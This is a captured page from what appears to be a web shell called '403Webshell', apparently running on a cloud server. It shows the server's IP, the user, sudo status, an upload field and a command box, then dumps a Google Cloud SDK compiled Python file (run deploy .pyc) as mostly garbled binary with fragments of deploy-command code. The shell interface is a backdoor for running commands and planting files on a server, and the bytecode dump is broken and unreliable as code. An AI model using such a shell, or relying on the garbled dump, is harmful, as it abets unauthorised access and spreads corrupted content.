403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/run/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/run/__pycache__/deploy.cpython-311.pyc
�

��^���@�dZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
ZddlmZddl
mZddl
mZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddl m!Z!ddl"m#Z#ddl$m%Z%ddl$m&Z&ddl'm(Z(ddl)m*Z*ddl)m+Z+Gd�dej,��Z-ej.j/fd�Z0ej1ej2ej.j/��Gd �d!ej3������Z4ej.j/fd"�Z5d#�Z6d$�Z7d%�Z8d&�Z9ej2ej.j:��Gd'�d(e4����Z;ej2ej.j<��Gd)�d*e;����Z=e4je=_dS)+� Deploy a container to Cloud Run.�N)�api_enabler)�
k8s_object)�service)�traffic)�base)�
exceptions)�docker_util)�artifact_registry)�config_changes)�connection_context)�container_parser)�flags)�
messages_util)�	platforms)�pretty_print)�
resource_args)�resource_change_validators)�serverless_operations)�stages)�run_apps_operations)�map_util)�concept_parsers)�presentation_specs)�
properties)�
console_io)�progress_trackerc��eZdZdZdZdS)�	BuildType�
Dockerfile�
BuildpacksN)�__name__�
__module__�__qualname__�
DOCKERFILE�
BUILDPACKS���lib/surface/run/deploy.pyrr4s�������*��*�*�*r(rc��d}tj|���}|�tj����|�tj����|�tj����|�tj����|�tj����|�tj	����|�tj
����|�tj����|�tj����|�tj
����|�tj����|�tj����|tjjtjjfv�rY|�tjd�����|�tj����|�tj����|�tj����|�tj����|�tj����|�tj����|�tj����|�tj����n&|�tj����|S)z=Returns an argument group with all per-container deploy args.z�
Container Flags

  The following flags apply to a single container. If the --container flag is specified these flags may only be
  specified after a --container flag. Otherwise they will apply to the primary ingress container.
)�helpF��hidden)r�
ArgumentGroup�AddArgumentr�SourceAndImageFlags�PortArg�	Http2Flag�MutexEnvVarsFlags�
MemoryFlag�CpuFlag�ArgsFlag�SecretsFlags�
DependsOnFlag�AddVolumeMountFlag�RemoveVolumeMountFlag�ClearVolumeMountsFlag�ReleaseTrack�ALPHA�BETA�GpuFlag�AddCommandAndFunctionFlag�BaseImageArg�AutomaticUpdatesFlag�BuildServiceAccountMutexGroup�BuildWorkerPoolMutexGroup�MutexBuildEnvVarsFlags�StartupProbeFlag�LivenessProbeFlag�CommandFlag)�
release_track�	help_text�groups   r)�ContainerArgGrouprL9s����)��
�)�
,�
,�
,�%����E�-�/�/�0�0�0����E�M�O�O�$�$�$����E�O�%�%�&�&�&����E�+�-�-�.�.�.����E�$�&�&�'�'�'����E�M�O�O�$�$�$����E�N�$�$�%�%�%����E�&�(�(�)�)�)����E�'�)�)�*�*�*����E�,�.�.�/�/�/����E�/�1�1�2�2�2����E�/�1�1�2�2�2��t�(�.��0A�0F�G�G�G�	���e�m�5�1�1�1�2�2�2�	���e�5�7�7�8�8�8�	���e�(�*�*�+�+�+�	���e�0�2�2�3�3�3�	���e�9�;�;�<�<�<�	���e�5�7�7�8�8�8�	���e�2�4�4�5�5�5�	���e�,�.�.�/�/�/�	���e�-�/�/�0�0�0�0�	���e�'�)�)�*�*�*�	�,r(c��eZdZdZddd�Zed���Zed���Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZdS)�Deploy�%Create or update a Cloud Run service.z<          Creates or updates a Cloud Run service.
          a
          To deploy a container to the service `my-backend` on Cloud Run:

              $ {command} my-backend --image=us-docker.pkg.dev/project/image

          You may also omit the service name. Then a prompt will be displayed
          with a suggested default value:

              $ {command} --image=us-docker.pkg.dev/project/image

          To deploy to Cloud Run on Kubernetes Engine, you need to specify a cluster:

              $ {command} --image=us-docker.pkg.dev/project/image --cluster=my-cluster
          )�DESCRIPTION�EXAMPLESc���tj|��tj|��tj|��tj|��tj|��tj|��tj|��tj|��tj	|��tj
|��tj|��tj|��tj
|��tj|��tj|��tj|��tj|��tj���|��tj||�����tj|��tj|��tj|��tj|��t5jdt9jd���ddd���}tj|��tj|��tj |��tj!|��tj"|��tj#|��tj$|��tj%|��tj&|��tj'|��tj(|��tj)|��tj*|��tWj,|g���|��|j-�.d��dS)N�SERVICET)�promptzService to deploy to.F)�required�prefixes�none)/r�AddAllowUnauthenticatedFlag�AddBinAuthzPolicyFlags�AddBinAuthzBreakglassFlag�AddCloudSQLFlags�AddCmekKeyFlag�"AddCmekKeyRevocationActionTypeFlag�AddCpuThrottlingFlag�AddCustomAudiencesFlag�AddDescriptionFlag�AddEgressSettingsFlag�!AddEncryptionKeyShutdownHoursFlag�AddRevisionSuffixArg�
AddSandboxArg�AddSessionAffinityFlag�AddStartupCpuBoostFlag�AddVpcConnectorArgs� AddVpcNetworkGroupFlagsForUpdate�RemoveContainersFlag�AddToParser�AddVolumesFlagsr<�AddServiceMinInstancesFlag�AddInvokerIamCheckFlag�AddEndpointVisibilityEnum�AddConfigMapsFlagsr�ResourcePresentationSpecr�GetServiceResourceSpec�AddPlatformAndLocationFlags�AddConcurrencyFlag�AddTimeoutFlag�AddAsyncFlag�AddLabelsFlags�AddGeneralAnnotationFlags�AddMinInstancesFlag�AddMaxInstancesFlag�AddNoTrafficFlag�AddDeployTagFlag�AddServiceAccountFlag�AddClientNameAndVersionFlags�AddIngressFlagr�
ConceptParser�display_info�	AddFormat)�cls�parser�service_presentations   r)�
CommonArgszDeploy.CommonArgsys���	�%�f�-�-�-�	� ��(�(�(�	�#�F�+�+�+�	��6�"�"�"�	��� � � �	�,�V�4�4�4�	��v�&�&�&�	� ��(�(�(�	��V�$�$�$�	���'�'�'�	�+�F�3�3�3�	��v�&�&�&�	������	� ��(�(�(�	� ��(�(�(�	��f�%�%�%�	�*�6�2�2�2�	�� � �,�,�V�4�4�4�	��&�#�"2�"2�"4�"4�5�5�5�	�$�V�,�,�,�	� ��(�(�(�
�#�F�+�+�+�	��V�$�$�$�.�F���,�D�9�9�9��������
�%�f�-�-�-�	��V�$�$�$�	��� � � �	��v����	��� � � �	�#�F�+�+�+�	��f�%�%�%�	��f�%�%�%�	��6�"�"�"�	��6�"�"�"�	���'�'�'�	�&�v�.�.�.�	��� � � ��!�#7�"8�9�9�E�E�f�M�M�M�
��!�!�&�)�)�)�)�)r(c��|�|��t|�����}tj||��dS�N)r�rLr<r�AddContainerFlags�r�r��container_argss   r)�ArgszDeploy.Args�sF���N�N�6����&�s�'7�'7�'9�'9�:�:�N��&�v�~�>�>�>�>�>r(c��dS)z�Returns regions to operate on SetIamPolicy for multi-region Services.

    Args:
      args: argparse.Namespace, Command line arguments

    Returns:
      None for single-region services, or a list of regions for multi-region
      services.
    Nr'��self�argss  r)�_GetAllowUnauthRegionszDeploy._GetAllowUnauthRegions�s	���4r(c��d}tj��tjkrtj||||��}|s|sd}|S)a�Returns allow_unauth value for a service change.

    Args:
      args: argparse.Namespace, Command line arguments
      operations: serverless_operations.ServerlessOperations, Serverless client.
      service_ref: protorpc.messages.Message, A resource reference object for
        the service See googlecloudsdk.core.resources.Registry.ParseResourceId
        for details.
      service_exists: True if the service being changed already exists.

    Returns:
      allow_unauth value where
      True means to enable unauthenticated access for the service.
      False means to disable unauthenticated access for the service.
      None means to retain the current value for the service.
    N)r�GetPlatform�PLATFORM_MANAGEDr�GetAllowUnauthenticated)r�r��
operations�service_ref�service_exists�allow_unauths      r)�GetAllowUnauthzDeploy.GetAllowUnauth�sZ��"�L�����)�"<�<�<��2�
�
�K�^�);���l�
��L�����r(c�J�tj|d��r|j}nd|i}t|��dkrFd�|���D��}t|��dkrtjdd���t|��dkrtjdd���|S)	N�
containers��c�f�g|].}|�d��s|�d���,|��/S)�port�	use_http2��IsSpecified)�.0�cs  r)�
<listcomp>z4Deploy._ValidateAndGetContainers.<locals>.<listcomp>�sP������
�]�]�6�
"�
"��'(�m�m�K�&@�&@��
���r(�--containerz8Exactly one container must specify --port or --use-http2�
z*Services may include at most 10 containers)r�FlagIsExplicitlySetr��len�values�c_exceptions�InvalidArgumentException)r�r�r��ingress_containerss    r)�_ValidateAndGetContainersz Deploy._ValidateAndGetContainers�s���� ��|�4�4���?�j�j���:�j�
�:���������$�$�&�&�����


�
�	 �	 �A�	%�	%��3��F�
�
�	
�
�:�������1�
�E�
�
���r(c��dSr�r')r��build_from_sourcer�s   r)�(_ValidateNoAutomaticUpdatesForContainersz/Deploy._ValidateNoAutomaticUpdatesForContainers�s	��	�Dr(c�<�d�|���D��}t|��dkrId�|���D��}|rtj|���t	jdd���|�||��|���D]v\}}tj|d��s\tj
��rtj|��|_�G|rd�
|��}nd}t	jd	|����w|S)
Nc�D�i|]\}}|�d���||��S)�imager��r��name�	containers   r)�
<dictcomp>z9Deploy._ValidateAndGetBuildFromSource.<locals>.<dictcomp>�sB������D�)��$�$�W�-�-���i���r(r�c�B�g|]\}}tj|d���|��S)�source�rr�r�s   r)r�z9Deploy._ValidateAndGetBuildFromSource.<locals>.<listcomp>s?������d�I��*�9�h�?�?��
���r(r�z2At most one container can be deployed from source.r�zwContainer {} requires a container image to deploy (e.g. `gcr.io/cloudrun/hello:latest`) if no build source is provided.zjRequires a container image to deploy (e.g. `gcr.io/cloudrun/hello:latest`) if no build source is provided.z--image)�itemsr�r	�RequiredImageArgumentExceptionr�r�r�rr�r�	CanPrompt�PromptForDefaultSourcer��format�RequiredArgumentException)r�r�r��needs_imager�r��messages       r)�_ValidateAndGetBuildFromSourcez%Deploy._ValidateAndGetBuildFromSource�sk����)�/�/�1�1�����
�����!�!���!2�!8�!8�!:�!:����k�

�E��7��D�D�D��1�
�M�
�
��	�1�1�2C�Z�P�P�P�,�2�2�4�4�����i�
�
&�y�(�
;�
;����!�!�	�"�9�$�?�?�)�
�
�
���#�V�D�\�\�
�G��
�
�6������!�(�r(c���t|dd��}t|dd��}|r|S|�.|�,tj|jvr|s|jtjStjS)aReturns the base image for the container.

    Args:
      container_args: command line arguments for container that is build from
        source
      service: existing Cloud run service which could be None.

    Returns:
      base_image: string. Base image of the container.
    �
base_imageN�clear_base_image)�getattr�service_lib�RUN_FUNCTIONS_BUILD_BASE_IMAGE�annotations�DEFAULT_BASE_IMAGE)r�r�rr�r�s     r)�_GetBaseImageForSourceContainerz&Deploy._GetBaseImageForSourceContainer"sz�����t�<�<�J��~�/A�4�H�H����
��	�����6�'�:M�M�M� �
N��
 ��!K�
L�L��)�)r(c���t|dd��}t|dd��}|�||��}|�|S|rdS|�|tjkStj|jvr3|jtj}|���dkrdndStj|jvr3|jtj}|���dkrdndS|S)z0Returns the automatic updates for the container.�automatic_updatesNr�F�trueT)r�r�r�r��,RUN_FUNCTIONS_BUILD_ENABLE_AUTOMATIC_UPDATESr��lower�1RUN_FUNCTIONS_ENABLE_AUTOMATIC_UPDATES_DEPRECATED)r�r�rr�r�r��automatic_updates_annotations       r)�_GetAutomaticUpdateszDeploy._GetAutomaticUpdates>s����0C�T�J�J���~�/A�4�H�H���5�5�n�g�N�N�J��$�
����
�U����;�9�
9�9�	�@���	�	�&-�%8�
�
B�&�"�2�7�7�9�9�V�C�C�T�T��N��E���	�	�&-�%8�
�
G�&�"�2�7�7�9�9�V�C�C�T�T��N��r(c�p�|r|jnd\}}	}
tt|�������\}}|s|r|jjjpd}d}
g}d}|j}|r|�|j	��nd}tjd|��|���tjjko|j}t!jt$jjj�d���t/j||t2jkr|jnd���d���}t/j||�	��r|}d
�|���|j���|_ |dz}|�!||��}|�"||��}tFj$�%|��r\tLj'}tQj)|d
��rtUj+dd���|tXj-krtUj.dd���n1t_||�����\}
}tLj0}|
rdn|j }tQj)|d��s|�/|tXj-kr|
r|
d�1d��n|}te|||||��}d�|j3���}ti||	||��}|
rtkj6|
��nd}toj8d|��}toj9|fi|��}|||
|||||||||||fS)N)NNNr�zsource_bucket: %sT)rU)�cluster_locationzcloud-run-source-deploy)�
project_id�location_id�repo_id)�skip_activation_promptz{repo}/{service})�reporz/Dockerfiler�z--base-imagez?Base image is not supported for services built from Dockerfile.z--clear-base-imagez�Base image is not supported for services built from Dockerfile. To continue the deployment, please use --clear-base-image to clear the base image.�delegate_buildsrr�z6Building using {build_type} and deploying container to)�
build_typezbuild-env-vars):�run_functions_annotations�next�iterr��templater�r�r��"_GetSourceBucketFromSourceLocation�source_location�logging�debugr<r�GA�functionr
�
DockerRepor�VALUES�core�project�Getr�
RepoRegionr�PLATFORM_GKEr��ShouldCreateRepositoryr��GetDockerString�
servicesIdr�r�r��os�path�existsrr%rr�r�r�r�r�r��_CreateBuildPackr&�get�_GetBuildServiceAccount�value�_GetBuildWorkerPool�json�loadsr�GetMapFlagsFromArgs�
ApplyMapFlags)r�r�r�r��conn_context�platform�already_activated_servicesr�annotated_build_service_account�annotated_build_worker_pool�annotated_build_env_varsr�r��pack�changes�repo_to_creater��
source_bucket�is_function�ar_repo�docker_filer�r�r�r��build_service_account�operation_message�build_worker_pool�old_build_env_vars�build_env_var_flags�build_env_varss                               r)�_BuildFromSourcezDeploy._BuildFromSourcebs��� .5�L��)�)�:L��'�#� � ��%6�%<�%<�%>�%>� ?� ?�@�@��D�.��3�G�3�
�
�
'�
,�
2��d��D��G��N�
�
"�F�
��D�;�;���������M�%�}�5�5�5�	
�����t�0�3�3�O��8O���$��$�)�1�5�5�t�5�D�D�%�0���y�5�5�5��-�-��
�
�
�*����G��/��(B������n�.�4�4�
�
$�
$�
&�
&��0F�5���N���=�(�K��5�5�n�g�N�N�J��1�1�.�'�J�J��	�w�~�~�k�"�"�(��'�j�
�	"�>�<�	@�	@�
��3��M�
�
�	
�
�{�5�	5�	5��4� �
�
�
�	
�
6�'�~�t�7H�7H�7J�7J�K�K�m�d�G��'�j��2�D�D�n�2�E�� ��'8�9�9�6���:��1O�#O�#O�&*�5�d�1�g�k�k�'�"�"�"��e�3��-�~�w�����	A��f�
�(�f�)�)��,��)�7�G����
$�	��
�+�,�,�,�
��
#�6�7G��N�N���+����1���N�	�
��������������r(c��tjd|��|sdStjd|��}|r|�d��SdS)Nzsource_location: %szgs://([^/]+)/.*r�)r�r��re�searchrK)r�r��xs   r)r�z)Deploy._GetSourceBucketFromSourceLocation�sQ���M�'��9�9�9���
�T�
�	�$�o�6�6�A���
�W�W�Q�Z�Z���4r(c�*�tj||�����}|�dt	jtj����|�t	j	|�������|S)z>Returns the service config changes with some default settings.r)
r�GetServiceConfigurationChangesr<�insertr�DeleteAnnotationChanger�BINAUTHZ_BREAKGLASS_ANNOTATION�append�SetLaunchStageAnnotationChange)r�r�rs   r)�_GetBaseChangeszDeploy._GetBaseChanges�s����2�4��9J�9J�9L�9L�M�M�G��N�N�	��-��5�	
�	
�����N�N��5�d�6G�6G�6I�6I�J�J�����Nr(c�p�tj|tjj|�����Sr�)r
�GetConnectionContextr�Product�RUNr<r�s  r)�_ConnectionContextzDeploy._ConnectionContext�s3���2��
�
���������r(c�.�tj|du|t|��|du���}|rd}	nd}	|�B|	dz
}	tj|d��s(|�t
jd�����|	dz
}	tj	|	|d	|j
�
��S)N)�include_iam_policy_set�
include_route�
include_build�include_create_repozBuilding and deploying�	Deployingz new service�	cpu_boostT�r*z...zDeployment failed��failure_message�suppress_output)r�
ServiceStages�boolrr�rr�StartupCpuBoostChanger�StagedProgressTracker�async_)
r�r�rrr�rr��
has_latest�deployment_stages�headers
          r)�_GetTrackerzDeploy._GetTrackers����,�+�4�7� ��,�-�-�*�$�6�	������'�f�f��f������f�
�
&�t�[�
9�
9�M����~�;�d�K�K�K�L�L�L�
�e�O�F��1���+���	���r(c�*�tj��gSr�)r�get_run_apir�s  r)�_GetRequiredApiszDeploy._GetRequiredApis#s���#�%�%�&�&r(c���|jr/tjd�|j�����dStjtj||j����dS)Nz>Service [{{bold}}{serv}{{reset}}] is deploying asynchronously.)�serv)r3r�Successr�r�r�%GetSuccessMessageForSynchronousDeploy�
no_traffic)r�rr�s   r)�_DisplaySuccessMessagezDeploy._DisplaySuccessMessage&sy���{�
����"�F���F�5�5������
��
�
=��t��������r(c��tj||���tjj��}|�|��}|�|��}|jj�	��}tj
|��|�|��}|r*|�d��|�d��d}|tjkr;tjt"jjj���|��}|�|��}d}	d}
d}d}d}
d}d}d}d}d}g}d}d}d}t/j||��5}|�|��}|r*|�|||||||��\}}	}
}}}
}}}}}}}}|�|��}|�|��|�||||��}t=j||��|re|rc|j j!j"rRtj#��}|r(|�tIj%g����ntMj'dd���tQj)tUj+|||����|duptXj-|j.v}|�/|||||
||��5}|�0|||���||j1||�2|��||	|
||
|tj3|d	��ptj3|d
��tj3|d��||||||t"jjj4���dk|�
��}ddd��n#1swxYwY|�5||��|cddd��S#1swxYwYdS)rzartifactregistry.googleapis.comzcloudbuild.googleapis.comFNzDeploying container tor�z	--commandz
--function�revision_suffix�tagr�r�)�asyn�allow_unauthenticated�allow_unauth_regions�prefetch�build_image�
build_pack�build_sourcerr�
generate_namer�r�� build_from_source_container_namerrr�enable_automatic_updates�
is_verboser)6r�GetAndValidatePlatformr<r!r"r�r��CONCEPTSr�Parse�ValidateResourcer:rrr�r�check_and_enable_apisrr�r�r�r�r#r�Connect�
GetServicerr�extendr�r�ValidateClearVpcConnectorr�r��command�PromptForClearCommandr�ContainerCommandChanger��ConflictingArgumentsExceptionr�Infor�GetStartDeployMessager�LATEST_REVISION_KEY�spec_trafficr7�ReleaseServicer3r�r��	verbosityr@)r�r�rr�r�r��
required_apisrr�r�rr�r
rr	r�rrr�
build_changesrLrMrr�rrr��
clear_commandr4�trackers                              r)�Runz
Deploy.Run3s����+��d���!�!�5�=�#4���H��/�/��5�5�J��;�;�J�G�G���-�'�-�-�/�/�K�	��;�'�'�'��)�)�$�/�/�M��8����<�=�=�=����6�7�7�7�!&���9�-�-�-�#.�#D�
�
�
 �
(�
,�
,�
.�
.�
�$�$� ��*�*�4�0�0�L��E��D�
�F�0���N��K��J� ���N����M�')�$�#���M�	�	&��0�
�
�]�	��%�%�k�2�2�g�	�
� 
�!�!������&��
�
�	
��������!��,���$���$�$�T�*�*�g�
�n�n�]�#�#�#��(�(��z�;��P�P�l� �:�7�D�I�I�I�	�	��	�7�+�5�=�	��5�7�7�-�
���N�N�>�@��D�D�E�E�E�E��<�����
�
��
�
-��K�):�������T�/�
P�W�8�G�<P�P�����
�
�
�
�
�
�
���$
���+�+�����������".�!%�!<�!<�T�!B�!B�����)�'A��)�$�0A�B�B�:��,�T�5�9�9�!�5�d�<M�N�N�!�-M�"7�/�)�%=�!�(�-�7�;�;�=�=��H�'�5,�
�
��$
�$
�$
�$
�$
�$
�$
�$
�$
�$
�$
����$
�$
�$
�$
�L�!�!�'�4�0�0�0�
�{]�]�]�]�]�]�]�]�]�]�]�]����]�]�]�]�]�]s8�(EN9�B<N
�>N9�
N	�N9�N	�N9�9N=�N=N)r"r#r$�__doc__�
detailed_help�classmethodr�r�r�r�r�r�r�r�r�rr�rr#r7r:r@rfr'r(r)rNrN`sV������.�-��
�	��-�(�2*�2*��;�2*�h�?�?��;�?�

�
�
����8���0	�	�	�
'�'�'�R*�*�*�8"�"�"�H}�}�}�~������������B'�'�'����D�D�D�D�Dr(rNc��d|jig}g}|tjjkr�t	|dd��}t	|dd��}|�Hd�|��}|d�dd�|�	��gi��n5|�3|d�dd
d�|���gi��||fS)
z&A helper method to cofigure buildpack.r�rXNr�� r�envszGOOGLE_ENTRYPOINT="{command}")rXz#GOOGLE_FUNCTION_SIGNATURE_TYPE=httpzGOOGLE_FUNCTION_TARGET={target})�target)r�rr<r�r��join�updater�)r�rIrr�command_arg�function_argrXs       r)r�r��s����I�O�
$�	%�$��'��d�'�*�*�*��)�Y��5�5�K��9�j�$�7�7�L�������%�%�g�
�1�g�n�n��3�:�:�7�:�K�K�L�
M�����
�	!�
�1�g�n�n�
�3�/�6�6�l�6�K�K���	�	�	�
�w��r(c��t|��rQtj}|rA|j�|��r'|�t
j|����dStj	|d��r|j
n|S)a�Gets the build worker pool from user flags and annotations.

  Args:
    args: argparse.Namespace, Command line arguments
    annotated_build_worker_pool: Build worker pool value from service
      annotations.
    service: Existing Cloud Run service.
    changes: List of config changes.

  Returns:
    build_worker_pool value or
    None meaning clear-worker-pool flag was set
    or build-worker-pool was an empty string.
  Nr)�_ShouldClearBuildWorkerPoolr��*RUN_FUNCTIONS_BUILD_WORKER_POOL_ANNOTATIONr�r�rrrrr�r)r�rrr�worker_pool_keys     r)r�r��s���!��&�&��!�L�O��M�7�&�*�*�?�;�;�M�
�n�n�^�:�?�K�K�L�L�L��4�
�	"�4�)<�	=�	=�'�d���&�r(c�f�tj|d��ptj|d��o|jS)N�clear_build_worker_poolr)rr�r)r�s r)rsrs�s<��	�	"�4�)B�	C�	C�
����&9�:�:�%��$�
$�r(c���tj}t|dd��}t||��rE|rA|j�|��r'|�tj|����dS|p|S)a6Returns cloud build service account.

  Args:
    args: argparse.Namespace, Command line arguments
    annotated_build_service_account: string. The build service account annotated
      on the service used by cloud run functions.
    container: Container. The container to deploy.
    service: Service. The service being changed.
    changes: List of config changes.

  Returns:
    build service account value where
    None means there were no annotations, user specified to clear the
    build service account, or the build service account was an empty string.
  rN)	r��.RUN_FUNCTIONS_BUILD_SERVICE_ACCOUNT_ANNOTATIONr��_ShouldClearBuildServiceAccountr�r�rrr)r�rr�rr�build_sa_keyrs       r)r�r��s���$�K�,�!�)�-D�d�K�K��$�T�+@�A�A���J�7�&�*�*�<�8�8�J�
�n�n�^�:�<�H�H�I�I�I��4�	�	A�"A�Ar(c�f�tj|d��rdStj|d��r|sdSdS)N�clear_build_service_accountTrFr�)r�rs  r)rzrz
sG��
��t�%B�C�C���4����&=�>�>��#���4�	�r(c�r��eZdZdZd�Zed���Z�fd�Zd�Z�fd�Z	d�Z
�fd�Z�fd	�Z�fd
�Z
�xZS)�
BetaDeployrOc��|���D]3\}}||vr*|�d��rtjdd����4dS)Nr�z--automatic-updateszU--automatic-updates can only be specified in the container that is built from source.)r�r�r�r�)r�r�r�r�r�s     r)r�z3BetaDeploy._ValidateNoAutomaticUpdatesForContainerssq��&�+�+�-�-�
�
���i�	
�&�	&�	&�9�+@�+@�
�,�,�	&��3�!�
%�
�
�	
��	
�
r(c�~�|�|��tj|��tj|��tj|d���tj|��tj�|��t|�	����}tj||��dS)NFr,)r�r�AddDefaultUrlFlag�AddDeployHealthCheckFlag�AddGpuTypeFlag�
AddRegionsArg�SERVICE_MESH_FLAGrjrLr<rr�r�s   r)r�zBetaDeploy.Args)s����N�N�6����
��F�#�#�#�	�"�6�*�*�*�	����.�.�.�.�	������	��'�'��/�/�/�&�s�'7�'7�'9�'9�:�:�N��&�v�~�>�>�>�>�>r(c	����|jr@tj|||||j�d��d���}|s|sdS|St	���||||��S�N�,r)�region_override)�_BetaDeploy__is_multi_regionrr��split�superr��r�r�r�r�r�r��	__class__s      �r)r�zBetaDeploy.GetAllowUnauth6��������2�
�
�
��
��0�6�6�s�;�;�A�>����l���L���t�
���7�7�!�!�$�
�K��P�P�Pr(c�H�|jr|j�d��SdS)Nr�)r�r�r�s  r)r�z!BetaDeploy._GetAllowUnauthRegionsFs)����/�
�
#�
)�
)�#�
.�
.�.��4r(c����|jr|jr"t���||��St	jt
j||�|������dSr�)	r�r3r�r@rr=r�0GetSuccessMessageForMultiRegionSynchronousDeployr�)r�rr�r�s   �r)r@z!BetaDeploy._DisplaySuccessMessageKss����!�;�T�[�;�
�W�W�
+�
+�G�T�
:�
:�:����F��T�0�0��6�6�	
�	
�����r(c�~�tj|tjj|���|j���S)z7Returns the connection context with is_multiregion set.)�is_multiregion)r
r rr!r"r<r�r�s  r)r#zBetaDeploy._ConnectionContextUs<���2��
�
��������-�	���r(c���t���|��}|jr-|�t	j|j�����|S)zFReturns the service config changes with maybe multi-region annotation.)�regions)r�rr�rr�SetRegionsAnnotationChange)r�r�rr�s   �r)rzBetaDeploy._GetBaseChanges^s]����g�g�%�%�d�+�+�G����
�n�n�
�
3��,�������
�Nr(c	�h��|js't���|||||||��Stj|dudt|��dd���}d}	t
j|d��s(|�tj
d�����tj|	|d|j
���S)	NFT)r%r&r'r(�include_create_revisionz%Deploying new Multi-Region service...r*r+zNMulti-region deployment failed. Some regions might already be serving traffic.r,)r�r�r7rr/r0rr�rrr1rr2r3)r�r�rrr�rr�r4r5r6r�s          �r)r7zBetaDeploy._GetTrackeris�����!�	�
�W�W�
 �
 �
�
�
�
�
�
�
�����,�+�4�7���,�-�-�!� $�����5�F��$�T�;�7�7�K�
�n�n�^�9�D�I�I�I�J�J�J��1���
 ������r(c�x��tj|��|_t���|��S�r)r�GetMultiRegionr�r�rf)r�r�r�s  �r)rfzBetaDeploy.Run�s.���#�1�$�7�7�D���7�7�;�;�t���r()r"r#r$rgr�rir�r�r�r@r#rr7rf�
__classcell__�r�s@r)rrs��������-�-�
�
�
��
?�
?��;�
?�Q�Q�Q�Q�Q� ���
��������	�	�	�	�	�'�'�'�'�'�R��������r(rc�X��eZdZdZed���Z�fd�Zd�Z�fd�Zd�Z	�fd�Z
�xZS)�AlphaDeployrOc��|�|��tj|��tj|��tj|��tj|��tj|��tj|��tj|��tj	|��tj
|��tj|��tj|��tj
�|��tj�|��t!|�����}t%j||��tj|��dSr�)r�rr�r��
AddIapFlag�AddRuntimeFlag�AddServiceMaxInstancesFlag�AddScalingFlag�AddMaxSurgeFlag�AddMaxUnavailableFlagr��AddDomainArgr�r�rj�
IDENTITY_FLAGrLr<rr��AddDelegateBuildsFlagr�s   r)r�zAlphaDeploy.Args�sB���N�N�6����
�"�6�*�*�*�	��F�#�#�#�	��V����	��� � � �	�$�V�,�,�,�	��� � � �	��&�!�!�!�	���'�'�'�	������	��v����	��� � � �	��'�'��/�/�/�	��#�#�F�+�+�+�&�s�'7�'7�'9�'9�:�:�N��&�v�~�>�>�>�	���'�'�'�'�'r(c	����|jr@tj|||||j�d��d���}|s|sdS|St	���||||��Sr�)�_AlphaDeploy__is_multi_regionrr�r�r�r�r�s      �r)r�zAlphaDeploy.GetAllowUnauth�r�r(c�d�|jr&tj|d��rt|dd��SdSdS)N�domain)r�rr�r�r�s  r)�_MaybeGetDomainzAlphaDeploy._MaybeGetDomain�sG����+�%�";�D�(�"K�"K�+�
�T�8�T�
*�
*�*�+�+�+�+r(c����t���|��}|�|��r*|�d��|�d��|S)Nzrunapps.googleapis.comzcompute.googleapis.com)r�r:r�r)r�r�rbr�s   �r)r:zAlphaDeploy._GetRequiredApis�s`����G�G�,�,�T�2�2�M����D�!�!�5����3�4�4�4����3�4�4�4��r(c�x�|�|��}|sdStj|���d��d}|jj}d|�d|��i}t
jd||���tj	|d|�
����5}|���|�dd��r.|�
d|��t
jd	||���n.|�d|d��t
jd
||���ddd��dS#1swxYwYdS)Nr�rzset-mappingz/*:z5Mapping multi-region Service {svc} to domain {domain})�svcr�zcustom-domains�routerz5Successfully updated mapping {svc} to domain {domain}z5Successfully created mapping {svc} to domain {domain})r�rr�r��metadatar�rr\r�ConnectWithRegionr<�VerifyLocation�MaybeGetIntegrationGeneric�UpdateIntegrationr=�CreateIntegration)r�rr��domain_name�first_region�service_name�params�
stacks_clients        r)�_MaybeCreateDomainIntegrationz)AlphaDeploy._MaybeCreateDomainIntegration�s����&�&�t�,�,�K��
��f��'��-�-�3�3�C�8�8��;�L��#�(�L���K�K��L�
��F���?�������
�	.��d�D�-�-�/�/�
�
�
�	��"�"�$�$�$�	�	1�	1�2B�H�	M�	M�
��'�'�(8�&�A�A�A���C���	
�	
�	
�	
�	
�	�'�'����	
�	
�	
�
	��C���	
�	
�	
�	
�#
�
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�
�
s�BD/�/D3�6D3c���tj|��|_t���|��}|�||��|Sr�)rr�r�r�rfr�)r�r�rr�s   �r)rfzAlphaDeploy.Run�sH���#�1�$�7�7�D���g�g�k�k�$���G��&�&�w��5�5�5��Nr()r"r#r$rgrir�r�r�r:r�rfr�r�s@r)r�r��s��������-�-��(�(��;�(�*Q�Q�Q�Q�Q� +�+�+������(
�(
�(
�T��������r(r�)>rg�enumr�r��os.pathr�r�googlecloudsdk.api_lib.runrrrr�r�googlecloudsdk.callioperr	r��$googlecloudsdk.command_lib.artifactsr
�googlecloudsdk.command_lib.runrrr
rrrrrrrrr�+googlecloudsdk.command_lib.run.integrationsr�$googlecloudsdk.command_lib.util.argsr�(googlecloudsdk.command_lib.util.conceptsrr�googlecloudsdk.corer�googlecloudsdk.core.consolerr�Enumrr<r�rL�UniverseCompatible�
ReleaseTracks�CommandrNr�r�rsr�rzr>rr=r�r'r(r)�<module>r�s���'�&�����������������	�	�	�	�2�2�2�2�2�2�1�1�1�1�1�1�=�=�=�=�=�=�.�.�.�.�.�.�(�(�(�(�(�(�>�>�>�>�>�>�<�<�<�<�<�<�<�<�<�<�<�<�9�9�9�9�9�9�=�=�=�=�=�=�;�;�;�;�;�;�5�5�5�5�5�5�0�0�0�0�0�0�8�8�8�8�8�8�4�4�4�4�4�4�7�7�7�7�7�7�8�8�8�8�8�8�E�E�E�E�E�E�@�@�@�@�@�@�1�1�1�1�1�1�K�K�K�K�K�K�9�9�9�9�9�9�D�D�D�D�D�D�G�G�G�G�G�G�*�*�*�*�*�*�2�2�2�2�2�2�8�8�8�8�8�8�������	����
